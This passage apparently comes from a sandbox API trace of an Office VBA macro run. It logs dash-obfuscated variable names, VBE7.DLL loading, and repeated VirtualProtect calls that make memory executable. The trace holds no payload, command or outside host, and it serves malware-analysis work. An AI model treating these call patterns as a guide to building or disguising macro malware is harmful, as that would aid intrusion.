lpString1="\x96\x96\x97\x97\x97\x97\x97\x96\x96\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x96\x97", cchCount2=-1) returned 1 [0117.283] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x97\x97\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x96\x97", cchCount2=-1) returned 3 [0117.283] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x96\x97\x97\x97\x97\x97\x96\x96\x97\x97\x96\x96", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x96\x97", cchCount2=-1) returned 3 [0117.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2f6e, cbMultiByte=15, lpWideCharStr=0x1976c4, cchWideChar=16 | out: lpWideCharStr="–—–—––——————–—") returned 15 [0117.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a021e, cbMultiByte=15, lpWideCharStr=0x197724, cchWideChar=16 | out: lpWideCharStr="–—–—––——————–—") returned 15 [0117.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a021e, cbMultiByte=15, lpWideCharStr=0x197724, cchWideChar=16 | out: lpWideCharStr="–—–—––——————–—") returned 15 [0117.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a021e, cbMultiByte=15, lpWideCharStr=0x197724, cchWideChar=16 | out: lpWideCharStr="–—–—––——————–—") returned 15 [0117.284] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x97\x97\x97\x97\x96\x96\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x96\x97", cchCount2=-1) returned 1 [0117.284] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x97\x97\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x96\x97", cchCount2=-1) returned 3 [0117.284] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x96\x97\x97\x97\x97\x97\x96\x96\x97\x97\x96\x96", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x96\x97", cchCount2=-1) returned 3 [0117.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a021e, cbMultiByte=15, lpWideCharStr=0x197724, cchWideChar=16 | out: lpWideCharStr="–—–—––——————–—") returned 15 [0117.284] CRetailMalloc_Alloc () returned 0xc8552d8 [0117.284] _mbscpy_s (in: _Dst=0xc8552d8, _DstSizeInBytes=0xf, _Src=0x112a021e | out: _Dst=0xc8552d8) returned 0x0 [0117.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0cbe, cbMultiByte=22, lpWideCharStr=0x197734, cchWideChar=23 | out: lpWideCharStr="_B_var_–—–—––——————–—") returned 22 [0117.285] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0xf, _Src=0x112a021e | out: _Dst=0x19779c) returned 0x0 [0117.285] CRetailMalloc_Free () returned 0x1 [0117.285] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0117.285] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978dc, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0117.285] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.285] memcpy (in: _Dst=0xcf95050, _Src=0x1978c4, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0117.285] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.285] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e0922, cbMultiByte=9, lpWideCharStr=0x1976c4, cchWideChar=10 | out: lpWideCharStr="DoEvents") returned 9 [0117.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c0922, cbMultiByte=9, lpWideCharStr=0x197724, cchWideChar=10 | out: lpWideCharStr="DoEvents") returned 9 [0117.286] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.286] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0117.286] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0117.286] memcpy (in: _Dst=0x5c0630, _Src=0x197944, _Size=0x18 | out: _Dst=0x5c0630) returned 0x5c0630 [0117.286] CRetailMalloc_Realloc () returned 0x5c05c8 [0117.286] CRetailMalloc_Free () returned 0x1 [0117.286] GetCurrentProcess () returned 0xffffffff [0117.286] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0117.286] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.287] GetCurrentProcess () returned 0xffffffff [0117.287] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0117.287] GetCurrentProcess () returned 0xffffffff [0117.287] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0117.287] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.288] GetCurrentProcess () returned 0xffffffff [0117.288] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0117.288] GetCurrentProcess () returned 0xffffffff [0117.288] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0117.288] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.288] GetCurrentProcess () returned 0xffffffff [0117.288] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0117.288] GetCurrentProcess () returned 0xffffffff [0117.288] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0117.288] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.289] GetCurrentProcess () returned 0xffffffff [0117.289] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0117.289] GetCurrentProcess () returned 0xffffffff [0117.289] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0117.289] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.289] GetCurrentProcess () returned 0xffffffff [0117.289] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0117.289] GetCurrentProcess () returned 0xffffffff [0117.289] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0117.289] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.290] GetCurrentProcess () returned 0xffffffff [0117.290] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0117.290] GetCurrentProcess () returned 0xffffffff [0117.290] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0117.290] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.290] GetCurrentProcess () returned 0xffffffff [0117.290] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0117.290] GetCurrentProcess () returned 0xffffffff [0117.290] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0117.290] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.291] GetCurrentProcess () returned 0xffffffff [0117.291] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0117.291] GetCurrentProcess () returned 0xffffffff [0117.291] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0117.291] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.291] GetCurrentProcess () returned 0xffffffff [0117.291] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0117.291] GetCurrentProcess () returned 0xffffffff [0117.291] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0117.291] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.292] GetCurrentProcess () returned 0xffffffff [0117.292] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0117.292] GetCurrentProcess () returned 0xffffffff [0117.292] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0117.292] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.292] GetCurrentProcess () returned 0xffffffff [0117.293] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0117.293] GetCurrentProcess () returned 0xffffffff [0117.293] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0117.293] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.297] GetCurrentProcess () returned 0xffffffff [0117.297] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0117.297] GetCurrentProcess () returned 0xffffffff [0117.297] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0117.297] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.298] GetCurrentProcess () returned 0xffffffff [0117.298] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0117.298] GetCurrentProcess () returned 0xffffffff [0117.298] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0117.298] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.298] GetCurrentProcess () returned 0xffffffff [0117.298] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0117.298] GetCurrentProcess () returned 0xffffffff [0117.298] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0117.298] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.299] GetCurrentProcess () returned 0xffffffff [0117.299] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0117.299] GetCurrentProcess () returned 0xffffffff [0117.299] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0117.299] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.299] GetCurrentProcess () returned 0xffffffff [0117.299] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0117.299] GetCurrentProcess () returned 0xffffffff [0117.299] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0117.299] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.300] GetCurrentProcess () returned 0xffffffff [0117.300] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0117.300] GetCurrentProcess () returned 0xffffffff [0117.300] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0117.300] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.300] GetCurrentProcess () returned 0xffffffff [0117.300] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0117.300] GetCurrentProcess () returned 0xffffffff [0117.300] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0117.300] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.301] GetCurrentProcess () returned 0xffffffff [0117.301] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0117.301] GetCurrentProcess () returned 0xffffffff [0117.301] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0117.301] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.301] GetCurrentProcess () returned 0xffffffff [0117.301] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0117.301] GetCurrentProcess () returned 0xffffffff [0117.301] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0117.301] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.302] GetCurrentProcess () returned 0xffffffff [0117.302] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0117.302] GetCurrentProcess () returned 0xffffffff [0117.302] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0117.302] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.302] GetCurrentProcess () returned 0xffffffff [0117.302] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0117.302] GetCurrentProcess () returned 0xffffffff [0117.302] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0117.302] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.303] GetCurrentProcess () returned 0xffffffff [0117.303] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0117.303] GetCurrentProcess () returned 0xffffffff [0117.303] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0117.303] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.303] GetCurrentProcess () returned 0xffffffff [0117.304] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0117.304] GetCurrentProcess () returned 0xffffffff [0117.304] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0117.304] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.304] GetCurrentProcess () returned 0xffffffff [0117.304] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0117.304] GetCurrentProcess () returned 0xffffffff [0117.304] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0117.304] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.305] GetCurrentProcess () returned 0xffffffff [0117.305] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0117.305] GetCurrentProcess () returned 0xffffffff [0117.305] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0117.305] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.305] GetCurrentProcess () returned 0xffffffff [0117.305] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0117.305] GetCurrentProcess () returned 0xffffffff [0117.305] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0117.305] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.306] GetCurrentProcess () returned 0xffffffff [0117.306] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0117.306] GetCurrentProcess () returned 0xffffffff [0117.306] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0117.306] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.306] GetCurrentProcess () returned 0xffffffff [0117.306] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0117.306] GetCurrentProcess () returned 0xffffffff [0117.306] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0117.306] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.307] GetCurrentProcess () returned 0xffffffff [0117.307] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0117.307] GetCurrentProcess () returned 0xffffffff [0117.307] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0117.307] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0117.307] GetCurrentProcess () returned 0xffffffff [0117.307] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0117.307] SetErrorMode (uMode=0x8001) returned 0x8001 [0117.307] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0117.308] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0117.308] SetErrorMode (uMode=0x8001) returned 0x8001 [0117.308] GetProcAddress (hModule=0x693e0000, lpProcName=0x256) returned 0x693e74be [0117.310] GetAsyncKeyState (vKey=3) returned 0 [0117.310] GetAsyncKeyState (vKey=3) returned 0 [0117.310] CRetailMalloc_Alloc () returned 0x5c0678 [0117.310] memcpy (in: _Dst=0xcf94f48, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.311] memcpy (in: _Dst=0xcf95050, _Src=0x1977e4, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0117.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2f9a, cbMultiByte=6, lpWideCharStr=0x1975e4, cchWideChar=7 | out: lpWideCharStr="Timer") returned 6 [0117.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0122, cbMultiByte=6, lpWideCharStr=0x197644, cchWideChar=7 | out: lpWideCharStr="Timer") returned 6 [0117.311] memcpy (in: _Dst=0xcf94f48, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2fbe, cbMultiByte=32, lpWideCharStr=0x1975e4, cchWideChar=33 | out: lpWideCharStr="—–––––—––—––––—–—————––––––—–––") returned 32 [0117.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a00e6, cbMultiByte=32, lpWideCharStr=0x197644, cchWideChar=33 | out: lpWideCharStr="—–––––—––—––––—–—————––––––—–––") returned 32 [0117.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a00e6, cbMultiByte=32, lpWideCharStr=0x197644, cchWideChar=33 | out: lpWideCharStr="—–––––—––—––––—–—————––––––—–––") returned 32 [0117.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a00e6, cbMultiByte=32, lpWideCharStr=0x197644, cchWideChar=33 | out: lpWideCharStr="—–––––—––—––––—–—————––––––—–––") returned 32 [0117.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a00e6, cbMultiByte=32, lpWideCharStr=0x197644, cchWideChar=33 | out: lpWideCharStr="—–––––—––—––––—–—————––––––—–––") returned 32 [0117.312] CRetailMalloc_Alloc () returned 0xc85d268 [0117.312] _mbscpy_s (in: _Dst=0xc85d268, _DstSizeInBytes=0x20, _Src=0x112a00e6 | out: _Dst=0xc85d268) returned 0x0 [0117.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0cf2, cbMultiByte=39, lpWideCharStr=0x197654, cchWideChar=40 | out: lpWideCharStr="_B_var_—–––––—––—––––—–—————––––––—–––") returned 39 [0117.313] _mbscpy_s (in: _Dst=0x1976bc, _DstSizeInBytes=0x20, _Src=0x112a00e6 | out: _Dst=0x1976bc) returned 0x0 [0117.313] CRetailMalloc_Free () returned 0x1 [0117.313] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0117.313] memcpy (in: _Dst=0xcf94f48, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.313] memcpy (in: _Dst=0xcf94f48, _Src=0x197634, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.313] memcpy (in: _Dst=0xcf94f48, _Src=0x197634, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.313] memcpy (in: _Dst=0xcf94f48, _Src=0x197634, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.313] memcpy (in: _Dst=0xcf94f48, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.313] memcpy (in: _Dst=0xcf94f48, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0117.314] memcpy (in: _Dst=0x5c06ec, _Src=0x197864, _Size=0x18 | out: _Dst=0x5c06ec) returned 0x5c06ec [0117.314] CRetailMalloc_Realloc () returned 0x5c0678 [0117.314] CRetailMalloc_Free () returned 0x1 [0117.314] GetCurrentProcess () returned 0xffffffff [0117.314] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0117.314] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.314] GetCurrentProcess () returned 0xffffffff [0117.315] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0117.315] GetCurrentProcess () returned 0xffffffff [0117.315] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0117.315] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.315] GetCurrentProcess () returned 0xffffffff [0117.315] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0117.315] GetCurrentProcess () returned 0xffffffff [0117.315] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0117.315] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.316] GetCurrentProcess () returned 0xffffffff [0117.316] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0117.316] GetCurrentProcess () returned 0xffffffff [0117.316] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0117.316] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.316] GetCurrentProcess () returned 0xffffffff [0117.316] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0117.316] GetCurrentProcess () returned 0xffffffff [0117.316] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0117.316] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.317] GetCurrentProcess () returned 0xffffffff [0117.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0117.317] GetCurrentProcess () returned 0xffffffff [0117.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0117.317] 